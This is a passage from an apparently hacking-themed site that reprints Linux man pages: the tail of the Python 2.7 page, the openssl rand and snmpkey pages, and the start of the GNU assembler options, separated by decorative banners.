Print a message each time a module is initialized, showing the place (filename or built-in module) from which it is loaded. When given twice, print a message for each file that is checked for when searching for a module. Also provides information on module cleanup at exit.

-V , –version
Prints the Python version number of the executable and exits.

**-W argument
Warning control. Python sometimes prints warning message to sys.stderr. A typical warning message has the following form: file
:line: category: **message. By default, each warning is printed once for each source line where it occurs. This option controls how often warnings are printed. Multiple -W options may be given; when a warning matches more than one option, the action for the last matching option is performed. Invalid -W options are ignored (a warning message is printed about invalid options when the first warning is issued). Warnings can also be controlled from within a Python program using the warnings module.

The simplest form of argument is one of the following action strings (or a unique abbreviation): ignore to ignore all warnings; default to explicitly request the default behavior (printing each warning once per source line); all to print a warning each time it occurs (this may generate many messages if a warning is triggered repeatedly for the same source line, such as inside a loop); module to print each warning only the first time it occurs in each module; once to print each warning only the first time it occurs in the program; or error to raise an exception instead of printing a warning message.

The full form of argument is action**:message:category:module:**line. Here, action is as explained above but only applies to messages that match the remaining fields. Empty fields match all values; trailing empty fields may be omitted. The message field matches the start of the warning message printed; this match is case-insensitive. The category field matches the warning category. This must be a class name; the match test whether the actual warning category of the message is a subclass of the specified warning category. The full class name must be given. The module field matches the (fully-qualified) module name; this match is case-sensitive. The line field matches the line number, where zero matches all line numbers and is thus equivalent to an omitted line number.

-x
Skip the first line of the source. This is intended for a DOS specific hack only. Warning: the line numbers in error messages will be off by one!

-3
Warn about Python 3.x incompatibilities that 2to3 cannot trivially fix.

INTERPRETER INTERFACE

The interpreter interface resembles that of the UNIX shell: when called with standard input connected to a tty device, it prompts for commands and executes them until an EOF is read; when called with a file name argument or with a file as standard input, it reads and executes a script from that file; when called with -c command, it executes the Python statement(s) given as command. Here command may contain multiple statements separated by newlines. Leading whitespace is significant in Python statements! In non-interactive mode, the entire input is parsed before it is executed.

If available, the script name and additional arguments thereafter are passed to the script in the Python variable sys.argv, which is a list of strings (you must first import sys to be able to access it). If no script name is given, sys.argv[0] is an empty string; if -c is used, sys.argv[0] contains the string ’-c’. Note that options interpreted by the Python interpreter itself are not placed in sys.argv.

In interactive mode, the primary prompt is `>>>’; the second prompt (which appears when a command is not complete) is `…’. The prompts can be changed by assignment to sys.ps1 or sys.ps2. The interpreter quits when it reads an EOF at a prompt. When an unhandled exception occurs, a stack trace is printed and control returns to the primary prompt; in non-interactive mode, the interpreter exits after printing the stack trace. The interrupt signal raises the KeyboardInterrupt exception; other UNIX signals are not caught (except that SIGPIPE is sometimes ignored, in favor of the IOError exception). Error messages are written to stderr.

FILES AND DIRECTORIES

These are subject to difference depending on local installation conventions; ${prefix} and ${exec_prefix} are installation-dependent and should be interpreted as for GNU software; they may be the same. On Debian GNU/{Hurd,Linux} the default for both is /usr.

${exec_prefix}/bin/python
Recommended location of the interpreter.

${prefix}/lib/python<version>
${exec_prefix}/lib/python<version>

Recommended locations of the directories containing the standard modules.

${prefix}/include/python<version>
${exec_prefix}/include/python<version>

Recommended locations of the directories containing the include files needed for developing Python extensions and embedding the interpreter.

~/.pythonrc.py
User-specific initialization file loaded by the user module; not used by default or by most applications.

ENVIRONMENT VARIABLES

PYTHONHOME
Change the location of the standard Python libraries. By default, the libraries are searched in ${prefix}/lib/python<version> and ${exec_prefix}/lib/python<version>, where ${prefix} and ${exec_prefix} are installation-dependent directories, both defaulting to /usr/local. When $PYTHONHOME is set to a single directory, its value replaces both ${prefix} and ${exec_prefix}. To specify different values for these, set $PYTHONHOME to ${prefix}:${exec_prefix}.

PYTHONPATH
Augments the default search path for module files. The format is the same as the shell’s $PATH: one or more directory pathnames separated by colons. Non-existent directories are silently ignored. The default search path is installation dependent, but generally begins with ${prefix}/lib/python<version> (see PYTHONHOME above). The default search path is always appended to $PYTHONPATH. If a script argument is given, the directory containing the script is inserted in the path in front of $PYTHONPATH. The search path can be manipulated from within a Python program as the variable sys.path.

PYTHONSTARTUP
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same name space where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 in this file.

PYTHONY2K
Set this to a non-empty string to cause the time module to require dates specified as strings to include 4-digit years, otherwise 2-digit years are converted based on rules described in the time module documentation.

PYTHONOPTIMIZE
If this is set to a non-empty string it is equivalent to specifying the -O option. If set to an integer, it is equivalent to specifying -O multiple times.

PYTHONDEBUG
If this is set to a non-empty string it is equivalent to specifying the -d option. If set to an integer, it is equivalent to specifying -d multiple times.

PYTHONDONTWRITEBYTECODE
If this is set to a non-empty string it is equivalent to specifying the -B option (don’t try to write .py[co] files).

PYTHONINSPECT
If this is set to a non-empty string it is equivalent to specifying the -i option.

PYTHONIOENCODING
If this is set before running the interpreter, it overrides the encoding used for stdin/stdout/stderr, in the syntax encodingname**:**errorhandler The errorhandler part is optional and has the same meaning as in str.encode. For stderr, the errorhandler part is ignored; the handler will always be ‘backslashreplace’.

PYTHONNOUSERSITE
If this is set to a non-empty string it is equivalent to specifying the -s option (Don’t add the user site directory to sys.path).

PYTHONUNBUFFERED
If this is set to a non-empty string it is equivalent to specifying the -u option.

PYTHONVERBOSE
If this is set to a non-empty string it is equivalent to specifying the -v option. If set to an integer, it is equivalent to specifying -v multiple times.

PYTHONWARNINGS
If this is set to a comma-separated string it is equivalent to specifying the -W option for each separate value.

PYTHONHASHSEED
If this variable is set to “random”, the effect is the same as specifying the -R option: a random value is used to seed the hashes of str, bytes and datetime objects.

If PYTHONHASHSEED is set to an integer value, it is used as a fixed seed for generating the hash() of the types covered by the hash randomization. Its purpose is to allow repeatable hashing, such as for selftests for the interpreter itself, or to allow a cluster of python processes to share hash values.

The integer must be a decimal number in the range [0,4294967295]. Specifying the value 0 will lead to the same hash values as when hash randomization is disabled.

AUTHOR

The Python Software Foundation: https://www.python.org/psf/

INTERNET RESOURCES

Main website: https://www.python.org/
Documentation: file:///usr/share/doc/python2.7/html/index.html (python-doc package) or https://docs.python.org/2/
Developer resources: https://docs.python.org/devguide/
Downloads: https://www.python.org/downloads/
Module repository: https://pypi.python.org/
Newsgroups: comp.lang.python, comp.lang.python.announce

LICENSING

Python is distributed under an Open Source license. See the file “LICENSE” in the Python source distribution for information on terms & conditions for accessing and otherwise using Python and for a DISCLAIMER OF ALL WARRANTIES.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1736 - Linux cli command openssl-randssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-randssl and provides detailed information about the command openssl-randssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-randssl.

NAME 🖥️ openssl-randssl 🖥️

rand - generate pseudo-random bytes

SYNOPSIS

openssl rand [-help] [-out file] [-base64] [-hex] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq] num

DESCRIPTION

This command generates num random bytes using a cryptographically secure pseudo random number generator (CSPRNG).

The random bytes are generated using the RAND_bytes (3) function, which provides a security level of 256 bits, provided it managed to seed itself successfully from a trusted operating system entropy source. Otherwise, the command will fail with a nonzero error code. For more details, see RAND_bytes (3), RAND (7), and EVP_RAND (7).

OPTIONS

-help
Print out a usage message.

-out file
Write to file instead of standard output.

-base64
Perform base64 encoding on the output.

-hex
Show the output as a hex string.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

SEE ALSO

openssl (1), RAND_bytes (3), RAND (7), EVP_RAND (7)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1737 - Linux cli command snmpkeyp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpkeyp and provides detailed information about the command snmpkeyp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpkeyp.

NAME 🖥️ snmpkeyp 🖥️

Create SNMPv3 security keys for the Net::SNMP module

USAGE

The snmpkey utility generates security keys based on a password and an authoritativeEngineID passed on the command line. This key can then be used by the Net::SNMP module instead of the plain text password when creating SNMPv3 objects.

snmpkey <authProto> <password> <authEngineID> [<privProto> [<password>]]

DESCRIPTION

The User-based Security Model used by SNMPv3 defines an algorithm which localizes a plain text password to a specific authoritativeEngineID using a one-way hash. This resulting key is used by the SNMP application instead of the plain text password for security reasons.

The Net::SNMP module allows the user to either provide a plain text password or a localized key to the object constructor when configuring authentication or privacy. The snmpkey utility can be used to generate the key to be used by the -authkey or -privkey named arguments when they are passed to the Net::SNMP session() constructor.

REQUIRED ARGUMENTS

The snmpkey utility requires at least three command line arguments. The first argument defines which hash algorithm to use when creating the authKey. Either HMAC-MD5-96 or HMAC-SHA-96 can be specified with the string ‘md5’ or ‘sha’ respectively. This choice must match the algorithm passed to the -authprotocol argument when creating the Net::SNMP object. The second argument is the plain text password that is to be localized to create the authKey. The third required argument is the authoritativeEngineID of the remote SNMP engine associated with the Net::SNMP argument -hostname. The authoritativeEngineID is to be entered as a hexadecimal string 10 to 64 characters (5 to 32 octets) long and can be prefixed with an optional 0x.

The last two arguments are optional and can be used to determine how the privKey will be generated. By default, the fourth argument assumes a value of ‘des’ corresponding to the default privacy protocol defined in the User-based Security Model. The Net::SNMP module supports CBC-3DES-EDE and CFB128-AES-128 as alternatives to the default protocol CBC-DES. These protocols can be chosen by specifying the string ‘3des’ or ‘aes’ respectively. This choice must match the protocol passed to the -privprotocol argument when creating the Net::SNMP object. The last argument can be used to specify the plain text password that is to be localized to create the privKey. If this argument is not specified, the authKey password is used.

AUTHOR

David M. Town <[email protected]>

LICENSE AND COPYRIGHT

Copyright (c) 2001-2009 David M. Town. All rights reserved.

This program is free software; you may redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself.

SEE ALSO

Net::SNMP

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1738 - Linux cli command i686-w64-mingw32-as

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-as and provides detailed information about the command i686-w64-mingw32-as, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-as.

NAME 🖥️ i686-w64-mingw32-as 🖥️

the portable GNU assembler.

SYNOPSIS

as [-a[cdghilns][=file]] [–alternate] [–compress-debug-sections] [–nocompress-debug-sections] [-D] [–dump-config] [–debug-prefix-map old=new] [–defsym sym=val] [–elf-stt-common=[no|yes]] [–emulation=name] [-f] [-g] [–gstabs] [–gstabs+] [–gdwarf-<N>] [–gdwarf-sections] [–gdwarf-cie-version=VERSION] [–generate-missing-build-notes=[no|yes]] [–gsframe] [–hash-size=N] [–help] [–target-help] [-I dir] [-J] [-K] [–keep-locals] [-L] [–listing-lhs-width=NUM] [–listing-lhs-width2=NUM] [–listing-rhs-width=NUM] [–listing-cont-lines=NUM] [–multibyte-handling=[allow|warn|warn-sym-only]] [–no-pad-sections] [-o objfile] [-R] [–scfi=experimental] [–sectname-subst] [–size-check=[error|warning]] [–statistics] [-v] [-version] [–version] [-W] [–no-warn] [–warn] [–fatal-warnings] [-w] [-x] [-Z] [@FILE] [target-options] [|files …]

TARGET

Target AArch64 options: [-EB|-EL] [-mabi=ABI]

Target Alpha options: [-mcpu] [-mdebug | -no-mdebug] [-replace | -noreplace] [-relax] [-g] [-Gsize] [-F] [-32addr]

Target ARC options: [-mcpu=cpu] [-mA6|-mARC600|-mARC601|-mA7|-mARC700|-mEM|-mHS] [-mcode-density] [-mrelax] [-EB|-EL]

Target ARM options: [-mcpu=processor[+extension…]] [-march=architecture[+extension…]] [-mfpu=floating-point-format] [-mfloat-abi=abi] [-meabi=ver] [-mthumb] [-EB|-EL] [-mapcs-32|-mapcs-26|-mapcs-float| -mapcs-reentrant] [-mthumb-interwork] [-k]

Target Blackfin options: [-mcpu=processor[-sirevision]] [-mfdpic] [-mno-fdpic] [-mnopic]

Target BPF options: [-EL] [-EB]

Target CRIS options: [–underscore | –no-underscore] [–pic] [-N] [–emulation=criself | –emulation=crisaout] [–march=v0_v10 | –march=v10 | –march=v32 | –march=common_v10_v32]

Target C-SKY options: [-march=arch] [-mcpu=cpu] [-EL] [-mlittle-endian] [-EB] [-mbig-endian] [-fpic] [-pic] [-mljump] [-mno-ljump] [-force2bsr] [-mforce2bsr] [-no-force2bsr] [-mno-force2bsr] [-jsri2bsr] [-mjsri2bsr] [-no-jsri2bsr ] [-mno-jsri2bsr] [-mnolrw ] [-mno-lrw] [-melrw] [-mno-elrw] [-mlaf ] [-mliterals-after-func] [-mno-laf] [-mno-literals-after-func] [-mlabr] [-mliterals-after-br] [-mno-labr] [-mnoliterals-after-br] [-mistack] [-mno-istack] [-mhard-float] [-mmp] [-mcp] [-mcache] [-msecurity] [-mtrust] [-mdsp] [-medsp] [-mvdsp]

Target D10V options: [-O]

Target D30V options: [-O|-n|-N]

Target EPIPHANY options: [-mepiphany|-mepiphany16]

Target H8/300 options: [-h-tick-hex]

Target i386 options: [–32|–x32|–64] [-n] [-march=CPU[+EXTENSION…]] [-mtune=CPU]

Target IA-64 options: [-mconstant-gp|-mauto-pic] [-milp32|-milp64|-mlp64|-mp64] [-mle|mbe] [-mtune=itanium1|-mtune=itanium2] [-munwind-check=warning|-munwind-check=error] [-mhint.b=ok|-mhint.b=warning|-mhint.b=error] [-x|-xexplicit] [-xauto] [-xdebug]

Target IP2K options: [-mip2022|-mip2022ext]

Target M32C options: [-m32c|-m16c] [-relax] [-h-tick-hex]

Target M32R options: [–m32rx|–[no-]warn-explicit-parallel-conflicts| –W[n]p]

Target M680X0 options: [-l] [-m68000|-m68010|-m68020|…]

Target M68HC11 options: [-m68hc11|-m68hc12|-m68hcs12|-mm9s12x|-mm9s12xg] [-mshort|-mlong] [-mshort-double|-mlong-double] [–force-long-branches] [–short-branches] [–strict-direct-mode] [–print-insn-syntax] [–print-opcodes] [–generate-example]

Target MCORE options: [-jsri2bsr] [-sifilter] [-relax] [-mcpu=[210|340]]

Target Meta options: [-mcpu=cpu] [-mfpu=cpu] [-mdsp=cpu] Target MICROBLAZE options: [-mlittle-endian] [-mbig-endian]

Target MIPS options: [-nocpp] [-EL] [-EB] [-O[optimization level]] [-g[debug level]] [-G num] [-KPIC] [-call_shared] [-non_shared] [-xgot [-mvxworks-pic] [-mabi=ABI] [-32] [-n32] [-64] [-mfp32] [-mgp32] [-mfp64] [-mgp64] [-mfpxx] [-modd-spreg] [-mno-odd-spreg] [-march=CPU] [-mtune=CPU] [-mips1] [-mips2] [-mips3] [-mips4] [-mips5] [-mips32] [-mips32r2] [-mips32r3] [-mips32r5] [-mips32r6] [-mips64] [-mips64r2] [-mips64r3] [-mips64r5] [-mips64r6] [-construct-floats] [-no-construct-floats] [-mignore-branch-isa] [-mno-ignore-branch-isa] [-mnan=encoding] [-trap] [-no-break] [-break] [-no-trap] [-mips16] [-no-mips16] [-mmips16e2] [-mno-mips16e2] [-mmicromips] [-mno-micromips] [-msmartmips] [-mno-smartmips] [-mips3d] [-no-mips3d] [-mdmx] [-no-mdmx] [-mdsp] [-mno-dsp] [-mdspr2] [-mno-dspr2] [-mdspr3] [-mno-dspr3] [-mmsa] [-mno-msa] [-mxpa] [-mno-xpa] [-mmt] [-mno-mt] [-mmcu] [-mno-mcu] [-mcrc] [-mno-crc] [-mginv] [-mno-ginv] [-mloongson-mmi] [-mno-loongson-mmi] [-mloongson-cam] [-mno-loongson-cam] [-mloongson-ext] [-mno-loongson-ext] [-mloongson-ext2] [-mno-loongson-ext2] [-minsn32] [-mno-insn32] [-mfix7000] [-mno-fix7000] [-mfix-rm7000] [-mno-fix-rm7000] [-mfix-vr4120] [-mno-fix-vr4120] [-mfix-vr4130] [-mno-fix-vr4130] [-mfix-r5900] [-mno-fix-r5900] [-mdebug] [-no-mdebug] [-mpdr] [-mno-pdr]

Target MMIX options: [–fixed-special-register-names] [–globalize-symbols] [–gnu-syntax] [–relax] [–no-predefined-symbols] [–no-expand] [–no-merge-gregs] [-x] [–linker-allocated-gregs]

Target Nios II options: [-relax-all] [-relax-section] [-no-relax] [-EB] [-EL]

Target NDS32 options: [-EL] [-EB] [-O] [-Os] [-mcpu=cpu] [-misa=isa] [-mabi=abi] [-mall-ext] [-m[no-]16-bit] [-m[no-]perf-ext] [-m[no-]perf2-ext] [-m[no-]string-ext] [-m[no-]dsp-ext] [-m[no-]mac] [-m[no-]div] [-m[no-]audio-isa-ext] [-m[no-]fpu-sp-ext] [-m[no-]fpu-dp-ext] [-m[no-]fpu-fma] [-mfpu-freg=FREG] [-mreduced-regs] [-mfull-regs] [-m[no-]dx-regs] [-mpic] [-mno-relax] [-mb2bb]

Target PDP11 options: [-mpic|-mno-pic] [-mall] [-mno-extensions] [-mextension|-mno-extension] [-mcpu] [-mmachine]

Target picoJava options: [-mb|-me]

Target PowerPC options: [-a32|-a64] [-mpwrx|-mpwr2|-mpwr|-m601|-mppc|-mppc32|-m603|-m604|-m403|-m405| -m440|-m464|-m476|-m7400|-m7410|-m7450|-m7455|-m750cl|-mgekko| -mbroadway|-mppc64|-m620|-me500|-e500x2|-me500mc|-me500mc64|-me5500| -me6500|-mppc64bridge|-mbooke|-mpower4|-mpwr4|-mpower5|-mpwr5|-mpwr5x| -mpower6|-mpwr6|-mpower7|-mpwr7|-mpower8|-mpwr8|-mpower9|-mpwr9-ma2| -mcell|-mspe|-mspe2|-mtitan|-me300|-mcom] [-many] [-maltivec|-mvsx|-mhtm|-mvle] [-mregnames|-mno-regnames] [-mrelocatable|-mrelocatable-lib|-K PIC] [-memb] [-mlittle|-mlittle-endian|-le|-mbig|-mbig-endian|-be] [-msolaris|-mno-solaris] [**-nops=**count]

Target PRU options: [-link-relax] [-mnolink-relax] [-mno-warn-regname-label]

Target RISC-V options: [-fpic|-fPIC|-fno-pic] [-march=ISA] [-mabi=ABI] [-mlittle-endian|-mbig-endian]

Target RL78 options: [-mg10] [-m32bit-doubles|-m64bit-doubles]

Target RX options: [-mlittle-endian|-mbig-endian] [-m32bit-doubles|-m64bit-doubles] [-muse-conventional-section-names] [-msmall-data-limit] [-mpid] [-mrelax] [-mint-register=number] [-mgcc-abi|-mrx-abi]

Target s390 options: [-m31|-m64] [-mesa|-mzarch] [-march=CPU] [-mregnames|-mno-regnames] [-mwarn-areg-zero] [-mwarn-regtype-mismatch=strict -mwarn-regtype-mismatch=relaxed -mwarn-regtype-mismatch=no -mno-warn-regtype-mismatch]

Target SCORE options: [-EB][-EL][-FIXDD][-NWARN] [-SCORE5][-SCORE5U][-SCORE7][-SCORE3] [-march=score7][-march=score3] [-USE_R1][-KPIC][-O0][-G num][-V]

Target SPARC options: [-Av6|-Av7|-Av8|-Aleon|-Asparclet|-Asparclite -Av8plus|-Av8plusa|-Av8plusb|-Av8plusc|-Av8plusd -Av8plusv|-Av8plusm|-Av9|-Av9a|-Av9b|-Av9c -Av9d|-Av9e|-Av9v|-Av9m|-Asparc|-Asparcvis -Asparcvis2|-Asparcfmaf|-Asparcima|-Asparcvis3 -Asparcvisr|-Asparc5] [-xarch=v8plus|-xarch=v8plusa]|-xarch=v8plusb|-xarch=v8plusc -xarch=v8plusd|-xarch=v8plusv|-xarch=v8plusm|-xarch=v9 -xarch=v9a|-xarch=v9b|-xarch=v9c|-xarch=v9d|-xarch=v9e -xarch=v9v|-xarch=v9m|-xarch=sparc|-xarch=sparcvis -xarch=sparcvis2|-xarch=sparcfmaf|-xarch=sparcima -xarch=sparcvis3|-xarch=sparcvisr|-xarch=sparc5 -bump] [-32|-64] [–enforce-aligned-data][–dcti-couples-detect]

Target TIC54X options: [-mcpu=54[123589]|-mcpu=54[56]lp] [-mfar-mode|-mf] [-merrors-to-file <filename>|-me <filename>]

Target TIC6X options: [-march=arch] [-mbig-endian|-mlittle-endian] [-mdsbt|-mno-dsbt] [-mpid=no|-mpid=near|-mpid=far] [-mpic|-mno-pic]

Target TILE-Gx options: [-m32|-m64][-EB][-EL]

Target Visium options: [**-mtune=**arch]

Target Xtensa options: [–[no-]text-section-literals] [–[no-]auto-litpools] [–[no-]absolute-literals] [–[no-]target-align] [–[no-]longcalls] [–[no-]transform] [–rename-section oldname=newname] [–[no-]trampolines] [–abi-windowed|–abi-call0]

Target Z80 options: [-march=CPU[-EXT][+EXT]] [-local-prefix=PREFIX] [-colonless] [-sdcc] [**-fp-s=FORMAT] [-fp-d=**FORMAT]

DESCRIPTION

GNU as is really a family of assemblers. If you use (or have used) the GNU assembler on one architecture, you should find a fairly similar environment when you use it on another architecture. Each version has much in common with the others, including object file formats, most assembler directives (often called pseudo-ops) and assembler syntax.

as is primarily intended to assemble the output of the GNU C compiler gcc for use by the linker ld. Nevertheless, we’ve tried to make as assemble correctly everything that other assemblers for the same machine would assemble. Any exceptions are documented explicitly. This doesn’t mean as always uses the same syntax as another assembler for the same architecture; for example, we know of several incompatible versions of 680x0 assembly language syntax.

Each time you run as it assembles exactly one source program. The source program is made up of one or more files. (The standard input is also a file.)

You give as a command line that has zero or more input file names. The input files are read (from left file name to right). A command-line argument (in any position) that has no special meaning is taken to be an input file name.

If you give as no file names it attempts to read one input file from the as standard input, which is normally your terminal. You may have to type ctl-D to tell as there is no more program to assemble.

Use if you need to explicitly name the standard input file in your command line.

If the source is empty, as produces a small, empty object file.

as may write warnings and error messages to the standard error file (usually your terminal). This should not happen when a compiler runs as automatically. Warnings report an assumption made so that as could keep assembling a flawed program; errors report a grave problem that stops the assembly.

If you are invoking as via the GNU C compiler, you can use the -Wa option to pass arguments through to the assembler. The assembler arguments must be separated from each other (and the -Wa) by commas. For example:

gcc -c -g -O -Wa,-alh,-L file.c

This passes two options to the assembler: -alh (emit a listing to standard output with high-level and assembly source) and -L (retain local symbols in the symbol table).

Usually you do not need to use this -Wa mechanism, since many compiler command-line options are automatically passed to the assembler by the compiler. (You can call the GNU compiler driver with the -v option to see precisely what options it passes to each compilation pass, including the assembler.)

OPTIONS

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a[cdghilmns]
Turn on listings, in any of a variety of ways:

-ac
omit false conditionals

-ad
omit debugging directives

-ag
include general information, like as version and options passed

-ah
include high-level source

-al
include assembly

-ali
include assembly with ginsn

-am
include macro expansions

-an
omit forms processing

-as
include symbols

=file
set the name of the listing file

You may combine these options; for example, use -aln for assembly listing without forms processing. The =file option, if used, must be the last one. By itself, -a defaults to -ahls.

–alternate
Begin in alternate macro mode.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. The resulting object file may not be compatible with older linkers and object file utilities. Note if compression would make a given section larger then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

These options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –nocompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–nocompress-debug-sections
Do not compress DWARF debug sections. This is usually the default for all targets except the x86/x86_64, but a configure time option can be used to override this.

-D
Enable debugging in target specific backends, if supported. Otherwise ignored. Even if ignored, this option is accepted for script compatibility with calls to other assemblers.

–debug-prefix-map old=new
When assembling files in directory old, record debugging information describing them as in new instead.

–defsym sym=value
Define the symbol sym to be value before assembling the input file. value must be an integer constant. As in C, a leading 0x indicates a hexadecimal value, and a leading 0 indicates an octal value. The value of the symbol can be overridden inside a source file via the use of a .set pseudo-op.

–dump-config
Displays how the assembler is configured and then exits.

–elf-stt-common=no

–elf-stt-common=yes

These options control whether the ELF assembler should generate common symbols with the STT_COMMON type. The default can be controlled by a configure option –enable-elf-stt-common.

–emulation=name
If the assembler is configured to support multiple different target configurations then this option can be used to select the desired form.

-f
“fast”—skip whitespace and comment preprocessing (assume source is compiler output).

-g

–gen-debug

Generate debugging information for each assembler source line using whichever debug format is preferred by the target. This currently means either STABS, ECOFF or DWARF2. When the debug format is DWARF then a .debug_info and .debug_line section is only emitted when the assembly file doesn’t generate one itself.

–gstabs
Generate stabs debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it.

–gstabs+
Generate stabs debugging information for each assembler line, with GNU extensions that probably only gdb can handle, and that could make other debuggers crash or refuse to read your program. This may help debugging assembler code. Currently the only GNU extension is the location of the current working directory at assembling time.

–gdwarf-2
Generate DWARF2 debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it. Note—this option is only supported by some targets, not all of them.

–gdwarf-3
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 3 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-4
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 4 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-5
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 5 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-sections
Instead of creating a .debug_line section, create a series of .debug_line.foo sections where foo is the name of the corresponding code section. For example a code section called .text.func will have its dwarf line number information placed into a section called .debug_line.text.func. If the code section is just called .text then debug line section will still be called just .debug_line without any suffix.

–gdwarf-cie-version=version
Control which version of DWARF Common Information Entries (CIEs) are produced. When this flag is not specified the default is version 1, though some targets can modify this default. Other possible values for version are 3 or 4.

–generate-missing-build-notes=yes

–generate-missing-build-notes=no

These options control whether the ELF assembler should generate GNU Build attribute notes if none are present in the input sources. The default can be controlled by the –enable-generate-build-notes configure option.

–gsframe

–gsframe

Create .sframe section from CFI directives.

–hash-size N
Ignored. Supported for command line compatibility with other assemblers.

–help
Print a summary of the command-line options and exit.

–target-help
Print a summary of all target specific options and exit.

-I dir
Add directory dir to the search list for .include directives.

-J
Don’t warn about signed overflow.

-K
